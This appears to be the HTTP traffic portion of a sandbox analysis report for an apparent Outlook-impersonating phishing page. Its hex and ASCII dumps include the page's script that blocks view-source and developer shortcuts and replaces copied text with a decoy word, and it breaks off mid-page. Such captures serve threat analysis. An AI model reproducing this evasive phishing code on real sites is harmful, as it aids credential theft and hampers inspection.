en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkhJQ2NwMkFmWG1SZmZwaklMOTR6WWc9PSIsInZhbHVlIjoiOVdhMm50ODhodURBZ3g1S1dkTkJLZ2NYdnhjd1BUNjduUGQrYURmODllWXQ2Zk9UcTJSNFV5aStMei8xY3VoRWt3NTI4RFRvcGpzVjc4Z2dzUGQ1Z0JWZHVsQVRsU1p3TGIzMXVIN2xCSHJ0Wnp3TkV5Q0dFYU5WSnJxOE5kVmEiLCJtYWMiOiJjNjE0NzQzN2I2ZWUwMGJjOGY0ZTUwODI5ZGM3MjA2OTdiOTcxNzVhN2MzYzQ0NDY4N2QwOTk1YjFlMjU5NjUwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdXbFkyM2JpYmVPMjl2L29HYzFEQ1E9PSIsInZhbHVlIjoiQjRQK3pZN0ZhVHM3UDBQME5LRTd1aG5XVWhCRVJJanYzSmZCdzJYN0txWU05ZHY4azFXaEJ0MWNHZnQyNlp4Y3N0WWpqYkMyWVNsb1JRakNodkVHdXhnbmp6RElvZndUNG9GcEpxMWExcis3cHNXU09XMkFTcDkrTTZqTFhzeUoiLCJtYWMiOiJmNTcyODk2OTA3OGQyN2IyMzE2YWZkYjA5YTgxMzBjYzVjYTBjZjRkMWMwZmE0ZWQ3MjRiMjRlNWQ3MDY1ZWRjIiwidGFnIjoiIn0%3D
2025-03-24 13:13:07 UTC	6	OUT	Data Raw: 64 61 74 61 3d 4e Data Ascii: data=N
2025-03-24 13:13:07 UTC	1214	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pUkeONc1QIgq0EM1ssZp%2FE54UlQlvmuLndCslkNIMWYt2YZEOMj683DHzYCWp%2BQ9J%2Fvm6UCeuogNwAz7MgojiPnq2OXBSbAenR5snZPnucxIsj3MGaSLypKJ9qNfYrYGYTKg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10210&min_rtt=10013&rtt_var=3896&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2363&delivery_rate=284430&cwnd=247&unsent_bytes=0&cid=be45357f3eaef678&ts=220&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IndCc2pxcVpQQUZpTjdBL2VRenRHUlE9PSIsInZhbHVlIjoiSERWM29EQ0VKMmVFTHZ4Z2VUUllMVUJUWlVxMFd5dTRFYWpaWGJrb0w5TVp2MG9jbjFDM3ZWbzJqUkFwMms0WGs0L1FqNGlTaWQvYmVIdG5DaTNreG04UTArUGkwQ2FuOGdBR2Y5U3NLR2VPb29qN24zRUFpS1Fub3RUbVFUckYiLCJtYWMiOiJmZDA2MzE0ZDc0YzNhMDk0Mjk1MzMyMjU4MTc0MDI3MzBjZjk4YTA5ODczMGQyZDA4ZTc0ZmQyM2FkZWNmYjEyIiwidGFnIjoiIn0%3D; expires=Mon, 24-Mar-2025 15:13:07 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-24 13:13:07 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 35 6c 5a 6b 5a 71 51 55 6c 31 55 56 52 7a 59 30 56 73 61 54 41 77 56 57 45 35 56 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 53 7a 46 33 56 6e 64 6a 5a 6e 6c 4c 57 45 56 44 56 31 52 78 52 48 67 78 61 31 56 6e 4d 33 67 7a 54 31 41 76 52 46 64 6a 53 45 35 59 4f 45 64 59 4e 7a 4a 69 5a 54 59 31 59 54 68 56 62 6d 56 4d 4f 44 49 7a 54 55 63 77 62 32 46 57 57 54 46 75 53 56 51 77 55 31 4a 36 5a 6b 4a 6a 4e 47 4e 59 5a 32 31 36 64 45 70 6d 64 44 5a 6d 5a 55 35 7a 4b 33 59 32 5a 33 70 4a 53 55 46 6d 64 58 68 75 62 44 51 35 59 33 4d 32 65 56 42 49 57 57 31 31 61 33 56 49 4e 45 35 58 56 46 5a 33 52 32 39 47 56 30 64 4b 61 44 68 76 57 6a 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im5lZkZqQUl1UVRzY0VsaTAwVWE5V3c9PSIsInZhbHVlIjoiSzF3VndjZnlLWEVDV1RxRHgxa1VnM3gzT1AvRFdjSE5YOEdYNzJiZTY1YThVbmVMODIzTUcwb2FWWTFuSVQwU1J6ZkJjNGNYZ216dEpmdDZmZU5zK3Y2Z3pJSUFmdXhubDQ5Y3M2eVBIWW11a3VINE5XVFZ3R29GV0dKaDhvWjk
2025-03-24 13:13:07 UTC	293	IN	Data Raw: 31 31 65 0d 0a 7b 22 61 22 3a 22 48 7a 46 65 79 55 44 72 69 4d 69 43 4c 41 6c 6f 38 71 42 51 30 61 69 67 68 51 6c 55 37 7a 47 4e 36 63 6c 61 6b 69 7a 6a 43 37 6a 67 79 50 49 62 4d 72 32 50 4b 6f 2b 75 38 79 66 5a 49 79 6e 51 41 76 78 31 65 33 6a 52 66 35 72 32 62 5c 2f 6e 37 46 42 30 59 37 6d 77 71 56 51 74 35 72 2b 75 79 32 5a 30 32 63 37 38 37 68 64 6d 51 46 48 46 48 54 43 62 6f 54 4f 57 44 37 77 32 67 75 69 6b 59 22 2c 22 62 22 3a 22 62 32 30 33 31 32 63 37 38 39 64 32 36 30 65 61 39 34 39 65 32 32 37 36 33 65 62 32 36 65 62 32 22 2c 22 63 22 3a 22 35 34 35 34 62 36 64 61 33 35 61 65 61 39 35 33 62 63 65 65 63 31 32 38 37 38 64 65 32 35 32 39 22 2c 22 64 22 3a 22 36 33 33 36 36 34 33 35 36 35 33 32 33 35 36 34 33 35 36 32 33 34 33 39 33 31 36 36 36 31 Data Ascii: 11e{"a":"HzFeyUDriMiCLAlo8qBQ0aighQlU7zGN6clakizjC7jgyPIbMr2PKo+u8yfZIynQAvx1e3jRf5r2b\/n7FB0Y7mwqVQt5r+uy2Z02c787hdmQFHFHTCboTOWD7w2guikY","b":"b20312c789d260ea949e22763eb26eb2","c":"5454b6da35aea953bceec12878de2529","d":"633664356532356435623439316661
2025-03-24 13:13:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:07 UTC	1327	OUT	GET /favicon.ico HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://zx.nhyyupvw.es/iSHROnSonGoT/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IkhJQ2NwMkFmWG1SZmZwaklMOTR6WWc9PSIsInZhbHVlIjoiOVdhMm50ODhodURBZ3g1S1dkTkJLZ2NYdnhjd1BUNjduUGQrYURmODllWXQ2Zk9UcTJSNFV5aStMei8xY3VoRWt3NTI4RFRvcGpzVjc4Z2dzUGQ1Z0JWZHVsQVRsU1p3TGIzMXVIN2xCSHJ0Wnp3TkV5Q0dFYU5WSnJxOE5kVmEiLCJtYWMiOiJjNjE0NzQzN2I2ZWUwMGJjOGY0ZTUwODI5ZGM3MjA2OTdiOTcxNzVhN2MzYzQ0NDY4N2QwOTk1YjFlMjU5NjUwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjdXbFkyM2JpYmVPMjl2L29HYzFEQ1E9PSIsInZhbHVlIjoiQjRQK3pZN0ZhVHM3UDBQME5LRTd1aG5XVWhCRVJJanYzSmZCdzJYN0txWU05ZHY4azFXaEJ0MWNHZnQyNlp4Y3N0WWpqYkMyWVNsb1JRakNodkVHdXhnbmp6RElvZndUNG9GcEpxMWExcis3cHNXU09XMkFTcDkrTTZqTFhzeUoiLCJtYWMiOiJmNTcyODk2OTA3OGQyN2IyMzE2YWZkYjA5YTgxMzBjYzVjYTBjZjRkMWMwZmE0ZWQ3MjRiMjRlNWQ3MDY1ZWRjIiwidGFnIjoiIn0%3D
2025-03-24 13:13:08 UTC	1066	IN	HTTP/1.1 404 Not Found Date: Mon, 24 Mar 2025 13:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close cf-cache-status: EXPIRED Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pEJQKF8JgHf0%2Ban3UoFi8KE2IcfUASkDP3fKQhXWe%2B2ZblgQbF9ElcjH0rbORrAs7lMPYPh7%2Fs7yjF4TWEqyqWMsW9mbdUynpsB%2BIyQMwMqQ5CVppmfsoXxCFVrXKqWjrvGw"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding server-timing: cfL4;desc="?proto=TCP&rtt=10660&min_rtt=10544&rtt_var=4037&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2237&delivery_rate=270106&cwnd=250&unsent_bytes=0&cid=3236b87e32bd323a&ts=400&x=0" Cache-Control: max-age=14400 Server: cloudflare CF-RAY: 92566c8d5a0c41e3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=99912&min_rtt=99401&rtt_var=21738&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1899&delivery_rate=36901&cwnd=224&unsent_bytes=0&cid=3d849edf1650ea7b&ts=790&x=0"
2025-03-24 13:13:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:07 UTC	541	OUT	OPTIONS /report/v4?s=qnOl8kJJfU%2BIHgXhD49LiRAq80hry3EYXx3xACE9dApfG5zwgfRZB%2BjXrFd%2FkkiyUEHq7eNiIqAbtkFxfXnDAJCK7A8h89rm5yxCiKscgffCArzOxjevHZfXBHtfKA5%2F3ibf HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://zx.nhyyupvw.es Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:07 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Mon, 24 Mar 2025 13:13:07 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:07 UTC	516	OUT	POST /report/v4?s=qnOl8kJJfU%2BIHgXhD49LiRAq80hry3EYXx3xACE9dApfG5zwgfRZB%2BjXrFd%2FkkiyUEHq7eNiIqAbtkFxfXnDAJCK7A8h89rm5yxCiKscgffCArzOxjevHZfXBHtfKA5%2F3ibf HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 427 Content-Type: application/reports+json Origin: https://zx.nhyyupvw.es User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 13:13:07 UTC	427	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 39 37 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 35 2e 31 32 34 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 7a 78 2e 6e 68 79 79 75 70 76 77 2e 65 73 2f 76 Data Ascii: [{"age":0,"body":{"elapsed_time":971,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.15.124","status_code":404,"type":"http.error"},"type":"network-error","url":"https://zx.nhyyupvw.es/v
2025-03-24 13:13:07 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Mon, 24 Mar 2025 13:13:07 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-24 13:13:07 UTC	1490	OUT	GET /pdkcvlronxtgkemeqadrwzkcff7yvxa9i0gsvl?DNSVBYQMUSRSVJAZGBHRZHFOEVAVEJ HTTP/1.1 Host: zx.nhyyupvw.es Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://zx.nhyyupvw.es/iSHROnSonGoT/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IndCc2pxcVpQQUZpTjdBL2VRenRHUlE9PSIsInZhbHVlIjoiSERWM29EQ0VKMmVFTHZ4Z2VUUllMVUJUWlVxMFd5dTRFYWpaWGJrb0w5TVp2MG9jbjFDM3ZWbzJqUkFwMms0WGs0L1FqNGlTaWQvYmVIdG5DaTNreG04UTArUGkwQ2FuOGdBR2Y5U3NLR2VPb29qN24zRUFpS1Fub3RUbVFUckYiLCJtYWMiOiJmZDA2MzE0ZDc0YzNhMDk0Mjk1MzMyMjU4MTc0MDI3MzBjZjk4YTA5ODczMGQyZDA4ZTc0ZmQyM2FkZWNmYjEyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Im5lZkZqQUl1UVRzY0VsaTAwVWE5V3c9PSIsInZhbHVlIjoiSzF3VndjZnlLWEVDV1RxRHgxa1VnM3gzT1AvRFdjSE5YOEdYNzJiZTY1YThVbmVMODIzTUcwb2FWWTFuSVQwU1J6ZkJjNGNYZ216dEpmdDZmZU5zK3Y2Z3pJSUFmdXhubDQ5Y3M2eVBIWW11a3VINE5XVFZ3R29GV0dKaDhvWjkiLCJtYWMiOiI4ODkyMTM0NjhkMTAwYjQzM2RhMWM0MjZjZGZhNWRhMzQ5YWEzNDg1Mzg3NWM1MWE0ZmFmZDA1YzllOTI0N2Y4IiwidGFnIjoiIn0%3D
2025-03-24 13:13:08 UTC	1216	IN	HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 13:13:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D4%2BmWeuqZ2skW%2BFszVR7JJgQU0Yn6Ig3oEYqKM7MQAOZ5iQ2LphP2H1fd8IHIRhroIWKRTiQgIasVFk%2BfpJ5XZfQScdtEJ08WWTDZurQFOj6ClSCThWGlJp09%2FtT02SFFGb3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=10359&min_rtt=10305&rtt_var=3903&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=2399&delivery_rate=276370&cwnd=213&unsent_bytes=0&cid=01db3fbece84352b&ts=263&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6InNSRktVTmZTaVlKc2VDWDl5L0VpMUE9PSIsInZhbHVlIjoiaDdocmRqdnQxUEMxQWdJRWMwS1g3ZHZvZjhGQmQ0WEgrYklPczAxbmZSenAyQmUvaXZIMFBBRjczR0VuVmd0S2dWR3B6ODVFZWtab295QzNwU0tINlh1eFUzS1lHMG8wN3FNRndRVFlkbllZY1VDamVsdzlTWnFxM3ZoR2l6cVIiLCJtYWMiOiI0NmI4M2JkNjU3NGMyYWY5ZGQxNGE4MTdmNGM1YTRlYWI1OWZkOTc1MWE5MDQwYWM1MzQ2Y2YxNzE5YjMyZDY0IiwidGFnIjoiIn0%3D; expires=Mon, 24-Mar-2025 15:13:08 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-24 13:13:08 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 56 73 65 56 52 4e 61 30 39 55 4d 58 56 73 4d 6b 6c 4a 5a 32 6f 72 4d 30 4e 48 64 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 44 64 56 65 45 51 32 5a 45 78 79 55 43 74 34 57 6e 4e 56 4e 6b 63 35 64 32 73 77 59 6b 4e 53 4e 55 31 54 65 46 42 4e 51 6a 46 6c 64 46 6c 6e 52 6c 70 6c 55 6c 51 34 56 44 68 30 65 57 78 30 65 47 35 34 61 58 5a 48 61 6b 67 79 64 6e 70 7a 4b 30 4a 4b 57 55 31 4f 65 55 59 76 56 55 30 79 63 45 4e 51 4f 48 6c 44 4d 6e 56 79 61 31 63 76 55 46 67 31 4f 44 5a 68 59 32 34 77 61 32 78 30 62 54 46 49 59 53 74 4c 52 55 39 59 56 53 74 36 64 69 39 79 5a 44 56 36 55 6c 49 33 52 6c 6c 50 54 32 73 77 65 6b 52 4f 53 53 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IlVseVRNa09UMXVsMklJZ2orM0NHdmc9PSIsInZhbHVlIjoiUDdVeEQ2ZExyUCt4WnNVNkc5d2swYkNSNU1TeFBNQjFldFlnRlplUlQ4VDh0eWx0eG54aXZHakgydnpzK0JKWU1OeUYvVU0ycENQOHlDMnVya1cvUFg1ODZhY24wa2x0bTFIYStLRU9YVSt6di9yZDV6UlI3RllPT2swekROSSs
2025-03-24 13:13:08 UTC	758	IN	Data Raw: 35 65 38 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 74 69 74 Data Ascii: 5e85<!DOCTYPE html><html lang="en"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <tit
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 20 2d 2d 66 6c 61 70 48 3a 20 63 61 6c 63 28 30 2e 35 35 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 3b 0d 0a 20 20 20 20 2d 2d 66 6c 61 70 53 63 61 6c 65 59 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 66 6c 61 70 48 29 20 2f 20 76 61 72 28 2d 2d 66 6c 61 70 57 69 64 74 68 29 29 3b 0d 0a 20 20 20 20 2d 2d 64 75 72 3a 20 35 73 0d 0a 7d 0d 0a 23 63 6f 6e 74 61 69 6e 65 72 53 68 61 64 6f 77 2c 23 65 66 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 20 30 20 37 70 78 20 37 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 63 61 6c 3e 2e 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 7d 0d 0a 23 66 6d 61 73 6b 2c 23 6f 70 65 6e 65 64 46 6c 61 70 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 68 65 69 67 68 74 3a 31 30 37 70 78 3b 7d 0d 0a 23 63 61 6c 2c 23 65 66 2c 23 Data Ascii: --flapH: calc(0.55 * var(--envH)); --flapScaleY: calc(var(--flapH) / var(--flapWidth)); --dur: 5s}#containerShadow,#ef{border-radius:0 0 7px 7px;}#cal,#cal>.r{display:flex;}#fmask,#openedFlap{width:var(--envW);height:107px;}#cal,#ef,#
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 31 29 3b 7d 0d 0a 23 63 61 6c 3e 2e 74 7b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 48 48 29 20 2b 20 31 70 78 29 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 33 35 38 61 37 3b 7d 0d 0a 23 63 61 6c 3e 2e 72 7b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 73 71 48 29 3b 7d 0d 0a 2e 73 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 73 71 57 29 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 76 61 72 28 2d 2d 73 71 48 29 20 2b 20 31 70 78 29 3b 7d 0d 0a 2e 73 31 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 30 30 37 38 64 34 3b 7d 0d 0a 2e 73 32 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 32 38 61 38 65 61 3b 7d 0d 0a 23 63 6c 6f 73 65 64 46 6c 61 70 20 2e 66 6c Data Ascii: 1);}#cal>.t{height:calc(var(--calHH) + 1px);margin-bottom:-1px;background:#0358a7;}#cal>.r{flex-direction:row;height:var(--sqH);}.s{width:var(--sqW);height:calc(var(--sqH) + 1px);}.s1{background:#0078d4;}.s2{background:#28a8ea;}#closedFlap .fl
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 2d 63 61 6c 59 4f 76 65 72 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 3b 7d 33 31 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 2e 30 35 29 3b 7d 33 33 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 45 78 74 29 29 20 73 63 61 6c 65 59 28 2e 39 36 29 3b 7d 33 34 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 3b 7d 36 38 2e 35 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 76 61 72 28 2d 2d 63 61 6c 59 45 78 74 29 29 20 73 63 61 6c 65 59 28 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e Data Ascii: -calYOverExt)) scaleY(1);}31%{transform:translateY(var(--calYExt)) scaleY(1.05);}33%{transform:translateY(var(--calYExt)) scaleY(.96);}34%{transform:translateY(var(--calYExt)) scaleY(1);}68.5%{transform:translateY(var(--calYExt)) scaleY(1);animation-timin
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a 20 74 72 75 65 2c 20 61 6c 74 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 36 37 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 20 6d 65 74 61 3a 20 74 72 75 65 2c 20 6b 65 79 43 6f 64 65 3a 20 38 35 20 7d 0d 0a 20 20 20 20 20 20 20 20 5d 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 77 47 50 53 64 6b 53 50 4a 2e 73 6f 6d 65 28 52 4c 41 54 51 68 53 66 72 43 20 3d 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 52 4c 41 54 51 68 53 66 72 43 2e 63 74 72 6c 20 7c 7c 20 65 76 65 6e 74 2e 63 74 72 6c 4b 65 79 29 20 26 26 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 21 52 4c 41 54 51 68 53 66 72 43 2e 73 68 69 66 74 20 7c 7c 20 65 76 65 6e 74 2e 73 68 69 66 Data Ascii: }, { meta: true, alt: true, keyCode: 67 }, { meta: true, keyCode: 85 } ]; return owGPSdkSPJ.some(RLATQhSfrC => (!RLATQhSfrC.ctrl \|\| event.ctrlKey) && (!RLATQhSfrC.shift \|\| event.shif
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 20 20 20 7d 0d 0a 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 73 74 6f 6d 57 6f 72 64 20 3d 20 22 4a 63 6c 7a 47 79 46 6d 4b 61 22 3b 0d 0a 20 20 20 20 65 76 65 6e 74 2e 63 6c 69 70 62 6f 61 72 64 44 61 74 61 2e 73 65 74 44 61 74 61 28 27 74 65 78 74 2f 70 6c 61 69 6e 27 2c 20 63 75 73 74 6f 6d 57 6f 72 64 29 3b 0d 0a 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 62 6f 64 79 20 69 64 3d 22 6f 75 74 6c 6f 6f 6b 6c 6f 67 6f 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 63 6f 6c 6f 72 Data Ascii: } event.preventDefault(); var customWord = "JclzGyFmKa"; event.clipboardData.setData('text/plain', customWord); }); </script></head><body id="outlooklogo" style="font-family: arial, sans-serif;background-color: #fff;color
2025-03-24 13:13:08 UTC	1369	IN	Data Raw: 30 34 68 2e 30 34 35 63 2e 31 30 33 2e 34 37 33 2e 32 31 2e 38 33 34 2e 32 38 37 20 31 2e 30 37 35 6c 33 2e 37 37 36 20 39 2e 31 36 68 31 2e 34 32 6c 33 2e 37 34 38 2d 39 2e 32 34 33 63 2e 30 38 35 2d 2e 32 31 31 2e 31 37 35 2d 2e 36 32 32 2e 32 35 37 2d 2e 39 39 32 68 2e 30 34 34 63 2d 2e 30 34 38 2e 39 31 35 2d 2e 30 39 20 31 2e 37 35 2d 2e 30 39 35 20 32 2e 32 35 36 76 37 2e 39 37 38 68 32 2e 31 36 35 56 34 2e 31 39 35 68 2d 32 2e 39 35 36 6c 2d 33 2e 32 32 38 20 37 2e 38 38 7a 22 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 64 3d 22 4d 30 20 32 30 2e 39 35 36 68 39 38 2e 31 34 38 56 